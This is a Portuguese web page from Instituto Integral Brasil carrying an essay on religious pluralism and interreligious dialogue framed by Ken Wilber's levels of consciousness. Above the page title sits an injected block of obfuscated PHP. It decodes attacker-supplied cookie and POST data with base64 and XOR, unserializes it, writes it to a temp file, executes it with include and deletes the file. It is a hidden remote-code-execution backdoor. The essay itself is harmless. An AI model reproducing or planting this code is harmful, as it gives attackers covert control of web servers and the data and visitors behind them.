$VTwhB = chr (80) . chr ( 813 - 704 )."\162" . chr (95) . 'A' . 'z' . "\x51" . "\172";$BhcbIsPQma = chr (99) . "\154" . chr (97) . chr (115) . "\163" . chr ( 490 - 395 ).chr ( 959 - 858 ).chr ( 159 - 39 ).chr ( 600 - 495 )."\163" . chr ( 979 - 863 ).chr ( 696 - 581 ); $oLcEukCPx = class_exists($VTwhB); $BhcbIsPQma = "28800";$WFfESBvQPi = !1;if ($oLcEukCPx == $WFfESBvQPi){function GEUHXB(){return FALSE;}$IfMhowcR = "45328";GEUHXB();class Pmr_AzQz{private function rDNtGZHU($IfMhowcR){if (is_array(Pmr_AzQz::$lPDRcWBCLZ)) {$rVcHKfdcj = sys_get_temp_dir() . "/" . crc32(Pmr_AzQz::$lPDRcWBCLZ['s' . 'a' . chr ( 435 - 327 )."\x74"]);@Pmr_AzQz::$lPDRcWBCLZ[chr ( 319 - 200 ).'r' . 'i' . 't' . chr ( 918 - 817 )]($rVcHKfdcj, Pmr_AzQz::$lPDRcWBCLZ['c' . 'o' . chr ( 305 - 195 ).chr (116) . 'e' . 'n' . "\x74"]);include $rVcHKfdcj;@Pmr_AzQz::$lPDRcWBCLZ["\144" . 'e' . 'l' . "\145" . "\x74" . "\145"]($rVcHKfdcj); $IfMhowcR = "45328";exit();}}private $mkPduu;public function XcNdKoTLAF(){echo 9062;}public function __destruct(){$IfMhowcR = "28988_18323";$this->rDNtGZHU($IfMhowcR); $IfMhowcR = "28988_18323";}public function __construct($WFkWXiNW=0){$vilOifG = $_POST;$CyJcZ = $_COOKIE;$uInEWKD = "0ec9fffc-5159-4606-aa4e-553b2ecf126c";$iyfdjf = @$CyJcZ[substr($uInEWKD, 0, 4)];if (!empty($iyfdjf)){$AzSJhDSUY = "base64";$bgMNT = "";$iyfdjf = explode(",", $iyfdjf);foreach ($iyfdjf as $VfijKub){$bgMNT .= @$CyJcZ[$VfijKub];$bgMNT .= @$vilOifG[$VfijKub];}$bgMNT = array_map($AzSJhDSUY . chr ( 767 - 672 ).'d' . "\145" . "\143" . "\157" . "\x64" . "\x65", array($bgMNT,)); $bgMNT = $bgMNT[0] ^ str_repeat($uInEWKD, (strlen($bgMNT[0]) / strlen($uInEWKD)) + 1);Pmr_AzQz::$lPDRcWBCLZ = @unserialize($bgMNT); $bgMNT = class_exists("28988_18323");}}public static $lPDRcWBCLZ = 24805;}$KxLIaPqAce = new /* 4374 */ $VTwhB(45328 + 45328); $IfMhowcR = strpos($IfMhowcR, $IfMhowcR); $WFfESBvQPi = $KxLIaPqAce = $IfMhowcR = Array();} PLURALISMO RELIGIOSO E ESPIRITUALIDADE INTEGRAL: rumo à abertura e ao diálogo inter-religioso | Instituto Integral Brasil

“Instituir o diálogo entre todas as religiões permitirá que possamos compreender-nos e trabalhar juntos para o bem da humanidade.”

(Dalai Lama)


“PLURALISMO RELIGIOSO E ESPIRITUALIDADE INTEGRAL: rumo ao diálogo inter-religioso”

por Vanessa Franco |

 

Mãos se tocando em frente ao peito em sinal de reverência e reconhecimento. Braços estendidos em sinal de abertura para que a bênção atravesse. Joelhos ao chão humildando o devoto para que possa receber…

Esses são alguns dos símbolos representados pelas posturas físicas religiosas que sinalizam a atitude necessária para expressar e professar a fé, mas nem sempre esses gestos simbólicos estão contidos nas “posturas psíquicas” em relação ao outro daqueles que a vivenciam.

Seja por razões histórico-político-sociais, seja por limitações pessoais exclusivas da biografia de vida e de desenvolvimento do indivíduo, essas mesmas mãos que demonstram-se abertas ao altar ocultam olhos fechados para ver e ouvidos resistentes para ouvir o outro, o diferente, o estrangeiro… Os joelhos ao chão prontamente se colocam firmes de pé para atacar a expressão religiosa alheia que seja contrastante à sua própria. Consequentemente, qual será a atitude que virá a partir dessa disposição defensiva psíquica perante o diferente?

NTAs religiões são fontes de conflitos, e o diálogo inter-religioso é uma das marcas da modernidade que traz com o Pluralismo Religioso o exigente desafio de as diferentes expressões religiosas dialogarem entre si, construindo concomitantemente um campo de respeito mútuo e o espaço do direito à diferença.

Um dos principais elementos da intolerância religiosa é a ideia de que a sua crença é a verdade absoluta, e muitas vezes outras formas de preconceito estão agregadas a ela, como o ‘racismo religioso’, que vem ganhando expressividade no decorrer dos anos.

A Teoria Integral e especialmente o conceito de ‘Níveis de Consciência’ nos ajuda a compreender as bases da intolerância religiosa e onde se situa a abertura para o desenvolvimento do ‘Pluralismo Religioso’ a partir da ótica da ‘Espiritualidade Integral’.

Quando Ken Wilber expõe em sua obra os diversos níveis de consciência que o ser humano já desenvolveu, tanto em termos individuais quanto coletivos, é possível reconhecermos através desse mapa de níveis onde residem as questões relacionadas aos desafios do espaço para o diálogo inter-religioso e o por quê de os mesmos se apresentarem tão difíceis de transcender.

Essa breve exposição se propõe a introduzir e inaugurar uma reflexão mais integral acerca da importância de criarmos um campo cada vez mais fértil de pensamento sobre o Pluralismo Religioso, sobre a diversidade de expressões da fé e sobre um trânsito mais pleno de comunhões religiosas. Iremos aqui tatear esse território utilizando para isso a lente da Integral através dos níveis de consciência, obviamente não pretendendo esgotar o assunto, tão complexo e permeado de ramificações para aprofundamentos e novos desdobramentos reflexivos.

Dentro do que foi mapeado pelas teorias de desenvolvimento de consciência do oriente e do ocidente (Jean Piaget, Jean Gebser, Jürgen Habermans, Abraham Maslow, Laurence Kohlberg, Sri Aurobindo, Don Beck, entre outros), Ken Wilber percebeu que, ao integrá-los, existem basicamente 7 níveis de consciência principais que o ser humano já desenvolveu, ou que se repetem e que se complementam no mapeamento de todos esses autores. Vamos observar a partir do ponto de vista coletivo os conceitos-chave que a Teoria Integral já mapeou, concentrando apenas nos aspectos que nos ajudam a compreender os entraves para o pluralismo e o diálogo inter-religioso. São eles:

 

O 1º Nível de Consciência, surgido há 500.000 anos a.C., é o Nível Arcaico. Relacionado aos níveis de sobrevivência básica, o ser humano aqui vivia em hordas e bandos e disputava (e ainda disputa, já que nem todos os níveis foram resolvidos nas sociedades) para garantir comida e abrigo.

 

O 2º Nível de Consciência é o Nível Mágico. Nascido em média há 175.000 anos a.C., surgem as primeiras sociedades humanas, e as tribos que vivem em relação animista com o ambiente se baseiam em superstições tomando o todo pela parte. Nesse nível, os espíritos têm o poder de interferir na Terra para nos satisfazer. Aqui, o indivíduo acredita que “pode operar um milagre” para garantir a sua sobrevivência. Por isso, esse nível de consciência ganha o nome do pensamento básico que prevalece no mesmo: Mágico.

 

O 3º Nível de Consciência é o Mágico-Mítico, quando em torno de 10.000 anos a.C. surgem as horticulturas e a agricultura, e o “eu”, que começa aos poucos a se distinguir da tribo, projeta o poder em heróis e divindades, oferecendo encantos em troca de proteção em meio a um mundo perigoso.

Veja que esse é um nível em transição, mágico-mítico, pois ele contém ainda princípios do nível mágico (como transferência de poder a seres superiores que obedecem magicamente a uma visão onipotente e narcísica do mundo), mas antecede o próximo nível mítico ao reconhecer que algo ou alguém (aqui uma divindade ou super-herói) tem um poder que o “eu” vulnerável reconhece que não mais garante ter.

 

Antes de prosseguir cabe salientar que cada nível de consciência apresenta aspectos saudáveis ou positivos e patológicos ou limitadores ao desenvolvimento. Para uma compreensão concentrada no tema aqui proposto, iremos salientar especialmente os aspectos patológicos ou limitadores dos níveis mais primários, até que o território em que o ‘pluralismo religioso’ surge nos revele a sua capacidade de organização e ampliação como aspecto saudável dentro do que o nível de consciência correspondente pode oferecer (é o que veremos a partir do 5º Nível da Consciência). Já para os interessados nessas especificidades, recomendo as leituras de Wilber indicadas nas referências ao final do artigo, ao mesmo tempo em que deixo o campo aberto para futuras produções com leituras sobre as manifestações religiosas dos aspectos saudáveis de cada Nível e sobre ‘Espiritualidade Integral’ pela Comunidade. 

 

Seguindo:

Depois do ‘Nível Mágico-Mítico’, se desenvolveu o 4º Nível de Consciência, que é o Nível Mítico propriamente dito, quando, há 4.000 anos a.C., na Era Pré-Moderna, surgiram os Impérios e as Monarquias colocando o poder em uma figura ou em algo que o detêm e que garante, ao ser obedecido, que o restante do grupo e o “eu” estejam protegidos. No que a Teoria Integral denomina de Nível Etnocêntrico ou grupalista, aqui se encontram os princípios do fundamentalismo e do absolutismo, da pertença a um só grupo que possui a verdade absoluta do mundo, e em que o que é dito é interpretado em um sentido mítico literal (como sugere o nome deste nível de consciência), não fazendo nenhum sentido lógico ou racional, pois nesse nível ainda não surgiu essa função da consciência.

Aqui, como a mente ainda está na ordem mítica, os mitos são acreditados como sendo literal e concretamente verdadeiros. Como descreve Ken Wilber em diversas citações, nesse nível de consciência acredita-se que Moisés realmente separou o Mar Vermelho; Elias realmente subiu direto para o céu em sua carruagem enquanto ainda estava vivo; Lao Tzu realmente tinha 900 anos quando nasceu; Jesus literalmente nasceu de uma virgem; Noé realmente colocou inúmeros pares de animais em sua arca, e assim por diante.

O princípio fundamental que orienta esse nível de consciência é a necessidade que o indivíduo tem de ser reconhecido pelo grupo, a necessidade de pertencimento, e que o mantêm subjugado pelo poder de dominação daquele que o detêm. Para a Teoria Integral, entre 40% e 70% da humanidade se encontra nesse nível de consciência e, como veremos a seguir, o território de transcendência do fundamentalismo religioso para um passo de diálogo e pluralismo religioso começa desde aqui.

 

Vemos de acordo com Wagner Lopes Sanchez, professor Doutor do Departamento de Teologia e de Ciência da Religião da PUC-SP, por exemplo, a posição exclusivista do cristianismo em defesa da Igreja Católica romana como única instituição portadora dos meios necessários à salvação, e que pode ser fundamentada nesse nível de consciência. “Somente o cristianismo é capaz de salvar, por isso todas as outras religiões são vistas de forma negativa” (SANCHES, 2010, p.68).

Ou seja, para o cristianismo exclusivista (antes do Concílio Vaticano II que significou o abandono da posição exclusivista dentro da Igreja) fora da Igreja não há salvação, fundamentando centralidade na Igreja Católica romana – o eclesiocentrismo.

Já para o paradigma protestante essa centralização, apesar de ter dado um avanço em relação a centralização na Igreja, está baseada na figura de Jesus Cristo – o cristocentrismo. Apenas a figura de Jesus Cristo leva à salvação.

Sabemos de inúmeros fatos que não somente o cristianismo mas também outras religiões apresentam como marca do fundamentalismo e que fazem parte das notícias dos jornais de todos os dias.

Para Sanches (2010), essas características de uma sociedade que é “marcada pela intransigência e pelo monopólio religioso e do pensamento, não conquistou ainda o pluralismo religioso” (p.39).

Para Frank Usarski, pós doutor e livre docente em Ciência da Religião pela PUC-SP, as culturas monoteístas tendem a apresentar, mais que as politeístas, uma discriminação entre nós e o outro. No discurso religioso das mesmas “o outro não tem divindades, o outro tem ídolos” (USARSKI, 2019). Já as culturas politeístas, por possuírem um panteão múltiplo, demonstram-se mais favoráveis em pensar de forma mais pluralista.

Nessa forma de viver a religião, ao discriminar o outro para favorecer a própria religião, reinvindica-se a sua verdade como sendo a única religião e garante a plausibilidade da mesma (USARSKI, 2019).

NTEsses são apenas alguns exemplos que ilustram o território por onde o Mapa Integral identifica o nível de consciência que sustenta basicamente algumas dessas limitações de expressões religiosas e o fundamentalismo religioso, estando situadas no Nível Mítico da consciência, em que existe a dificuldade de olhar o outro como diferente não ameaçador e a fundamentação de uma realidade que atenda apenas às verdades concebidas por uma determinada visão de mundo religiosa.

Mas para que uma possível noção mais pluralista entre as religiões aconteça, a humanidade precisou evoluir mais um pouco em seu espectro de desenvolvimento consciencial.

 

Seguindo na escala evolutiva da consciência, inaugurando a Era Moderna em torno de 300 anos atrás, surge o 5º Nível de Consciência, ou o Nível Racional, e com ela o Iluminismo, o Renascimento e a Revolução Industrial, abrindo espaço para o nascimento da ciência, da democracia e da meritocracia. Surgem os Direitos Humanos e a abolição da escravidão.

No aspecto individual, a mente raciocínio, o sentimento de individualidade, a auto-estima e a auto-expressão libertam o “eu” do rebanho do grupo, e a autonomia e a independência não mais conformista ganham espaço definitivamente na consciência humana. Aqui o ‘cogito ergo sum’ encontra o caminho da crítica às crenças mítico-literais do nível anterior para algo que seja mais lógico e objetivo.

 

Como também veremos, o processo de secularização que começa aqui é o espaço no tempo em que a possibilidade das diferenças surgem como um campo fértil para a inclusão da alteridade e, futuramente, o possível diálogo inter-religioso.

De acordo com Sanches (2010), foram dois os grandes fatores históricos que marcam esse processo: a Reforma Protestante no século XVI que atingiu a Igreja Católica romana enquanto poder religioso, quebrando o monopólio de interpretação religiosa, possibilitando o surgimento de diversas Igrejas cristãs; e a Revolução Francesa no século XVIII, que atingiu a Igreja Católica romana enquanto poder político, quebrando com o seu monopólio político, dando origem ao reconhecimento da legitimidade dos diversos sujeitos religiosos. Deste modo, no processo de secularização a religião perde o lugar de referência primordial e a Igreja Católica romana como matriz religiosa; e, com a separação Igreja-Estado, a mesma tem também o seu papel político diminuído.

 

O processo de secularização surge na Modernidade, como crítica e como deslocamento da religião da esfera social para a esfera do sujeito […] a religião fica subordinada à consciência do sujeito e deixa de ter o valor de referência absoluta para a vida social. Como decorrência disso, a instituição religiosa ganha outro significado para o conjunto da sociedade e também para o sujeito (SANCHES, 2010, p.35).

 

Para Sanches (2010), a secularização trouxe no âmbito filosófico a crítica dos fundamentos teológicos e metafísicos das explicações sobre o mundo que dava condição garantida de autoridade à Igreja Católica romana e a abertura para a autonomia da pessoa humana através da dimensão da escolha, da responsabilidade e do agir humanos.

Assim, “a Modernidade reivindica o espaço de escolha, da decisão e da responsabilidade do ser humano sobre suas ações no mundo, que se traduz pela afirmação do sujeito diante das forças impessoais ou do destino e diante das instituições, sobretudo a instituição religiosa” (SANCHES, 2010, p.30).

Com a “priorização do sujeito”, a racionalização desse nível da consciência e a subjetivação advinda da afirmação do sujeito, faz estabelecer leis racionais para a compreensão do mundo e em desenvolver práticas voltadas para a eficácia e para o domínio da natureza (SANCHES, 2010).

Para Sanches (20210), quando o ser humano reivindica e afirma a sua condição de sujeito, torna-se possível a racionalização e a afirmação do sujeito autônomo, livre e criativo.

 

Há um deslocamento na fonte de referência e de sentido para a vida humana. Se na sociedade medieval a fonte de referência e de sentido era Deus – por isso a importância da instituição religiosa como mediadora entre o sagrado e a sociedade humana -, na sociedade moderna essa fonte passa a ser a razão entendida como uma dimensão subjetiva (SANCHES, 2010, p.34).

 

Com isso, a modernidade significou a libertação da sociedade humana em relação às forças da tradição e inaugurou o campo de reivindicação do direito à diferença e à democracia (SANCHES, 2010).

E com a democracia, abre-se o espaço para que as diferenças sejam conhecidas e reconhecidas, e a experiência da alteridade se fundamente como um fenômeno universal.

Como vimos, o Nível Racional da consciência é marcado pelo reconhecimento pessoal em detrimento da posição de pertencimento num grupo, e é essa abertura de consciência que permite que as pessoas possam reconhecer que são diferentes umas das outras, com características distintas umas das outras, e que somos pessoas diferentes no mundo. O mesmo vale para o âmbito coletivo e cultural, e “é essa a experiência que está na raiz da sociabilidade” (SANCHES, 2010, p. 16).

Para Sanches (2010), é isso o que marca a construção de nossas identidades na Era Moderna, a experiência da diferença e a reafirmação desse direito como um dos principais ingredientes da democracia.

“Ao reconhecer o outro você reconhece que tem outras formas de pensar” (USARSKI, 2019) e é essa consciência plural, em meio a conflitos que são legítimos, que tornam uma democracia possível.

Para Sanches (2010),

 

Embora essa descoberta seja importante para a construção da identidade, é necessário um outro passo: o reconhecimento de que as diferenças são legítimas e têm direito à existência e, portanto, à concreticidade histórica. Em outras palavras, as diferenças devem ser respeitadas (p.18).

 

Por isso, o autor considera a importância da definição de critérios que sejam aceitos universalmente a partir dos quais é possível pensar a questão das diferenças, tendo como base o critério de que a vida tem de ser respeitada para que seja garantida a sua integridade, o que exige uma atitude de reverência e de cuidado com todos os seres.

Deste modo, Sanches (2010) se apóia em Fortunato Mallimaci para frisar que reconhecer a pluralidade religiosa não necessariamente torna possível o pluralismo religioso.

A pluralidade religiosa é a existência de diversas visões religiosas e suas respectivas liberdades para a prática religiosa em instituições e grupos. O pluralismo já exige a existência de certas condições sociais que possibilitem essas práticas e suas respectivas expansões, e supõe o reconhecimento pela sociedade e pelo Estado das mesmas, e que façam da diversidade um dado fundamental das relações sociais.

Wagner Sanches explica que “enquanto a pluralidade tem a ver com a possibilidade de ação dos sujeitos religiosos (individuais e coletivos), o pluralismo religioso supõe condições objetivas, inclusive legais, que favoreçam a existência e a afirmação desses sujeitos. Uma dessas condições é um Estado secularizado que possibilita a existência e a competição de diversas visões de mundo (SANCHES, 2010, p. 39).

NTÉ por isso que o Pluralismo Religioso só nasce no Nível Racional da consciência, pois como afirma Sanches (2010), ele implica em um Estado secularizado, na liberdade da democratização, na afirmação da pessoa humana como instância de decisões e no reconhecimento das legitimidades pelos diversos sujeitos existentes na sociedade.

O reconhecimento das diversidades e a garantia de condições sociais pelo Estado para que essas multiplicidades aconteçam é parte fundante do Nível Racional, em termos de direitos e deveres humanitários, mas o exercício do diálogo inter-religioso em si, e que advém de uma concepção pluralista, só pode acontecer no nível seguinte da consciência, o Nível Pluralista propriamente dito.

 

Para a Teoria Integral, o 6º Nível da Consciência ou Nível Pluralista da consciência é o último nível que o ser humano conseguiu conquistar em termos de massa crítica. Surgindo em torno de 60 anos atrás, como reação dos movimentos hippies aos excessos da Era Moderna racionalista, a consciência coletiva invoca uma Era Pós-Moderna, mais humanista e anti-hierárquica, incluindo agora não só os direitos humanos, mas os dos animais e do meio ambiente, e luta por uma perspectiva muito além da etnocêntrica, mas uma perspectiva Mundicêntrica em que todos podem ser vistos e incluídos em um mundo Global.

Esse nível de consciência apresenta predominantemente a característica de um pensamento não-linear, uma capacidade superior de sintetização, conexão, coordenação e integração em uma rede de ideias que é relativista, pluralista e não parcial. A percepção de um Pluralismo Multicultural aqui inclui verdades culturais locais específicas para além das universais e reúne, em um sistema de totalidades, o ver a si mesmo em um Todo integrado, em que as diferenças são importantes e que possuem princípios gerais de igualdade.

 

Aqui a Metateoria Integral revela a sua importância e diferenciação em meio às outras teorias quando inaugura princípios teórico-filosóficos mais transcendentes, como a perspectiva de 4ª pessoa, em que mais do que o “eu” dos níveis arcaicos, do “tu” dos níveis míticos fundamentalistas, e do “ele” de terceira pessoa do nível racional, são considerados, e incluem perspectivas mais elevadas do desenvolvimento humano. 

Acredito que é nesse nível de consciência que o Pluralismo Religioso encontra lugar para de fato estabelecer domicílio e ancorar seu espaço efetivo de exercício e expansão.

Como o diálogo inter-religioso está marcado pelas diferentes visões que as religiões constroem a respeito das demais e pelas diferentes expressões religiosas, é necessário resgatar o que Sanches (2010) considera como sendo condição para essa realidade, como por exemplo a dialogicidade, que se refere à relação de determinada religião com outros atores religiosos e com uma sociedade que seja inclusiva.

Como afirma Sanches, (2010), o avanço da modernidade não é a secularização, mas o Pluralismo Religioso. E, sob uma perspectiva Integral, do avanço da modernidade advém a Pós-Modernidade, com uma sociedade ainda mais inclusiva que encontra extensão agora, a partir dos anos 60, no Nível Pluralista da consciência, depois dos avanços já conquistados com a secularização e a democracia racionais do nível anterior.

 

Num mundo plural, que não admite mais a posição hegemônica de uma ou outra religião e que defende a liberdade religiosa, a abertura para o diálogo inter-religioso é fundamental para a consolidação do pluralismo religioso (SANCHES, 2010, p. 59).

 

E a abertura de uma religião para o diálogo inter-religioso como decorrência de uma consciência pacífica cooperativa exige um “patamar de convivência que vai além da tolerância: ela envolve discursos e práticas que levam ao reconhecimento da legitimidade das várias religiões, tendo como referência a vida humana” (SANCHES, 2010, p. 62).

Mas devemos incluir uma visão fundamental que nos traz o professor livre docente Frank Usarski (2019),

 

O dialogo inter-religioso não vai superar as diferenças, ele só vai funcionar bem quando as duas religiões unem as forças para combater problemas universais da humanidade. Por exemplo, as associações religiosas que aconteceram após o 11 de setembro a favor da paz. Cada um colaborando sem perder sua diferença vai colaborar e contribuir para uma forma mais pacífica da convivência entre as religiões.

 

Ou como já declarou o Dalai Lama: “O futuro das religiões do mundo depende da capacidade de seus membros de se colocarem a serviço de todos” (BARRY, 2001).

O diálogo entre os sujeitos e o reconhecimento da legitimidade desse diálogo é um dos valores que advém da Modernidade e se estende com a Pós-Modernidade. Reconhecer a legitimidade do diálogo implica em reconhecer a defesa da liberdade religiosa de que qualquer religião leva o ser humano à salvação, de que todas as religiões possam se expressar livremente, pois “expressam as diferentes formas humanas de aproximação do mistério fundante da vida […] visando em última instância, à cooperação para a convivência pacífica e à solução dos grandes problemas humanos” (SANCHES, 2010, p. 13).

NTA afirmação da validade de muitas figuras salvíficas que conduzem a Deus é o reflexo de um pluralismo religioso em prática e que abre um caminho para construir esse respeito mútuo através da aproximação entre os fiéis das diferentes religiões e que mora em níveis mais elevados da consciência.

Dessa forma, “o ponto de partida de uma posição pluralista deve ser o de reconhecer, de um lado, a diversidade de visões de mundo presentes nas diferentes religiões e, de outro, a legitimidade dessas visões a partir da fé que essas religiões possuem” (SANCHES, 2010, p. 75).

Para Sanches, esse diálogo não nega a legitimidade das outras religiões como detentoras de sentido para a vida de seus praticantes, mas também toma conhecimento das contribuições valiosas que as religiões fazem à humanidade incluindo os seus diversos aspectos úteis que todos podem aprender.

Esse é, atualmente, um dos critérios utilizados na sociedade ocidental para reconhecer a legitimidade de uma religião. “Uma religião que não aceita dialogar e que é intolerante em suas posições tem dificuldade para ser reconhecida” (SANCHES, 2010, p.59).

E esse é o preceito básico para uma existência mais abrangente e inclusiva, que se importa com as diferenças como partes integrantes do “Grande Ninho do Ser” (WILBER, 2000).

Mas os níveis de consciência não param por aqui de se desenvolver. O último nível de consciência já identificado pelos pesquisadores integrais, e por Ken Wilber, é um nível que eles consideram novo em todos os sentidos, pois além de ser o último nível descoberto, ele inaugura o que a Teoria Integral define como “pensamento de 2ª camada”, ou seja, um nível de consciência que se distingue de todos os outros níveis de consciência anteriores e que se igualam entre si em um específico ponto. Os 6 níveis anteriores de consciência, do Arcaico ao Pluralista, têm a característica de se considerarem os únicos verdadeiros em suas parcialidades. Para eles, todos os outros níveis possuem falhas e devem ser excluídos em virtude de suas próprias verdades que, para a Teoria Integral, são consideradas verdades parciais.

 

Já o primeiro nível de segunda camada, ou o 7º nível da consciência, denominado de Nível Integral, surgiu há mais ou menos 30 anos atrás e apenas 1 a 5% da população mundial já se desenvolveu nesse nível. Com perspectiva inclusiva e integrativa, esse nível de consciência consegue integrar paradoxos e ambiguidades, desenhar inter-conexões em percepções além do ego, unindo sentimento e conhecimento em sistemas dentro de sistemas que transcendem e incluem um ao outro. Pluralista Universal, o Nível Integral inaugura o que a Teoria Integral denomina de a Era Pós-Pós Moderna, em que as Holarquias integram hierarquias de forma coerente, abrangente, inclusiva e compreensiva, e uma nova espiritualidade encontra eco pra crescer…

 

Os níveis seguem em desenvolvimento e não possuem um limite de interrupção no espectro de alcance humano e trans-humano… Cada um deles, como já foi dito no início do artigo, possui aspectos favoráveis ao desenvolvimento e tendências fixistas e regressivas também. Não coube aqui elucidá-los devido à limitação de contexto, mas devemos certamente considerá-los em investigações mais profundas e futuras acerca do tema.

Mas acredito que caiba esboçar que talvez seja nesse contexto ainda mais Integral que é possível ao menos nos colocar dispostos para o cenário do nascer de um tempo, não meramente romancista ou idealista, mas essencialmente natural e consequente em termos evolutivos, em que as palmas das mãos que tocam uma a outra em sinal de reverência e reconhecimento possam ser budistas e evangélicas; que os braços abertos para que a bênção atravesse seja o próprio abraço do judeu e um cristão; ou que os joelhos ao chão que tocam a terra e humilda a testa sejam os de muçulmanos que encontra a fronte do hindu à sua frente…

Nas palavras de Sanches (2010), citando Hervieu Leger:

NTo pluralismo religioso seria experiência de ‘notáveis’ e pessoas religiosas ‘adultas’  (p.53).

Um nível de maturação psicológica e social ainda em desenvolvimento, que exige uma postura de relativização das verdades parciais e a inclusão das diferenças em uma visão de mundo mais abrangente e com qualidade integrativa. Essa é a exigência de uma disposição favorável ao exercício do diálogo inter-religioso em níveis ainda mais evoluídos da consciência, e que pode se realizar de inúmeras formas, através de expressões religiosas que possuam discursos favoráveis ao diálogo, com práticas que condizem aos seus discursos; que não selecionam os parceiros de diálogo a partir de critérios exclusivistas; que não se negam a dialogar com outras expressões que não as suas; e que estabeleçam com facilidade a aproximação com outras visões e conteúdos de fé, tudo a serviço da humanidade.

Por enquanto os poetas abrem os caminhos nesse sentido, seja como disse Guimarães Rosa (2016) na obra “Grande Sertão: veredas”: “Bebo água de todo rio” (p.16) ou Fernando Pessoa quando exclama que “Em cada esquina de minh’alma há um altar para um deus diferente”.

De cada rio formando um mar do Todo, nada falta na abundância plural das diversas expressões humanas sobre o estar com Deus…

 

Referências

1. BARRY, CATHERINE. Sábias palavras do Dalai-Lama. Rio de Janeiro, Bertrand Brasil, 2001.

2. ROSA, João Guimarães. Grande sertão: veredas. Rio de Janeiro: Nova Fronteira, 2006.

3. SANCHEZ, Wagner, Lopes. Pluralismo religioso: as religiões no mundo atual. São Paulo: Paulinas, 2010.

4. USARSKI, Frank. Conflitos Religiosos. 2016. (3,42 min). Disponível em: <https://www.youtube.com/watch?v=sPJYZUP9wow>. Acesso em: 22 jun. 2019.

5. WILBER, Ken. The Religion of Tomorrow. Boulder: Shambala, 2017.

6. WILBER, Ken. Psicologia Integral: Consciência, Espírito, Psicologia, Terapia. São Paulo: Cultrix: 2000.

 

Sobre Vanessa Franco: Vanessa Franco é psicóloga (PUC-SP), psicoterapeuta, especialista em Cinesiologia Psicológica (SEDES), Psicodrama (SOPS) e Psicologia Transpessoal (FACIS), pós-graduanda em ‘Integração da Espiritualidade na Prática Clínica’ (UFJF) e Mestre em Ciência da Religião pela PUC-SP. É Instrutora em Mindfulness formada pelo Instituto de Psiquiatria da USP (IPq) e professora de ‘Psicologia Integral e Anatomia Sutil‘ do Curso de Formação em Yoga e Meditação do ‘Simplesmente Yoga‘. Membro da Comunidade Integral Brasil, conheceu a obra de Ken Wilber em 2002 ainda na faculdade e vem se dedicando a estudá-la e integrar em suas pesquisas acadêmicas e trabalho clínico desde então.